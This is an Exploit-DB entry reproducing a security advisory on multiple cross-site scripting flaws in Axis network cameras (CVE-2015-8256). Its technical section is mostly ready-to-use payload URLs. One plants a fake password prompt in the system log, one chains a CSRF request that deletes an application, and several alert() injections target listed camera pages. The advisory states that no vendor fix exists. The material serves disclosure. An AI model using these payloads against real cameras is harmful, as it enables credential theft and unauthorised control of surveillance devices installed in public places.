Axis Network Cameras - Multiple Vulnerabilities

2016-04-11T00:00:00
ID EDB-ID:39683
Type exploitdb
Reporter Orwelllabs
Modified 2016-04-11T00:00:00

Description

Axis Network Cameras - Multiple Vulnerabilities. CVE-2015-8256. Webapps exploit for hardware platform

                                        
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 Security Adivisory
    2016-04-09
                www.orwelllabs.com
                  twt:@orwelllabs





I. ADVISORY INFORMATION
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Title: Axis Network Cameras Multiple Cross-site scripting
Vendor: Axis Communications
Class: Improper Input Validation [CWE-20]
CVE Name: CVE-2015-8256
Remotely Exploitable: Yes
Locally Exploitable: No
OLSA-ID: OLSA-2015-8256
Adivisory URL:
http://www.orwelllabs.com/2016/01/axis-network-cameras-multiple-cross.html


II. Background
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Axis is the market leader in network video, invented the world’s first
network camera back in 1996 and we’ve been innovators in video surveillance
ever since. Axis network video products are installed in public places and
areas such as retail chains, airports, trains, motorways, universities,
prisons, casinos and banks.

III. vulnerability
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AXIS Network Cameras are prone to multiple (stored/reflected) cross-site
scripting vulnerability.

IV. technical details
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These attack vectors allow you to execute an arbitrary javascript code in
the user browser (session) with this steps:

# 1 Attacker injects a javascript payload in the vulnerable page:
http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script
type="text/javascript>prompt("AXIS_PASSWORD:")</script>

This will create a entry in the genneral log file (/var/log/messages) So,
when the user is viewing the log 'system options' -> 'support' -> 'Logs &
Reports':

http://{axishost}/axis-cgi/admin/systemlog.cgi?id
will be displayed a prompt for the password of the current user
('AXIS_PASSWORD').

However, due to CSRF presented is even possible to perform all actions
already presented: create, edit and remove users and applications, etc. For
example, to delete an application "axis_update" via SXSS:

http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script src="http://
axishost/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml"></script>

* A reflected cross-site scripting affects all models of AXIS devices on
the same parameter:
http://
{axis-cam-model}/view/view.shtml?imagePath=0WLL</script><script>alert('AXIS-XSS')</script><!--

# Other Vectors
http://
{axishost}/admin/config.shtml?group=%3Cscript%3Ealert%281%29%3C/script%3E

http://{axishost}/view/custom_whiteBalance.shtml?imagePath=<img src="xs"
onerror=alert(7) /><!--
http://
{axishost}/admin-bin/editcgi.cgi?file=<script>alert('SmithW')</script>

http://
{axishost}/operator/recipient_test.shtml?protocol=%3Cscript%3Ealert%281%29%3C/script%3E

http://
{axishost}/admin/showReport.shtml?content=alwaysmulti.sdp&pageTitle=axis</title></head><body><pre><script>alert(1)</script>

# SCRIPTPATHS:

{HTMLROOT}/showReport.shtml
{HTMLROOT}/config.shtml
{HTMLROOT}/incl/top_incl.shtml
{HTMLROOT}/incl/popup_header.shtml
{HTMLROOT}/incl/page_header.shtml
{HTMLROOT}/incl/top_incl_popup.shtml
{HTMLROOT}/viewAreas.shtml
{HTMLROOT}/vmd.shtml
{HTMLROOT}/custom_whiteBalance.shtml
{HTMLROOT}/playWindow.shtml
{HTMLROOT}/incl/ptz_incl.shtml
{HTMLROOT}/view.shtml
{HTMLROOT}/streampreview.shtml

And many, many others...

V. Impact
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allows to run arbitrary code on a victim's browser and computer if combined
with another flaws in the same devices.

VI. Affected products
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Multiple Axis Network products.

VII. solution
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It was not provided any solution to the problem.

VIII. Credits
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The vulnerability has been discovered by SmithW from OrwellLabs

IX. Legal Notices
-----------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.

X. Vendor solutions and workarounds
-----------------------------------
There was no response from the vendor.


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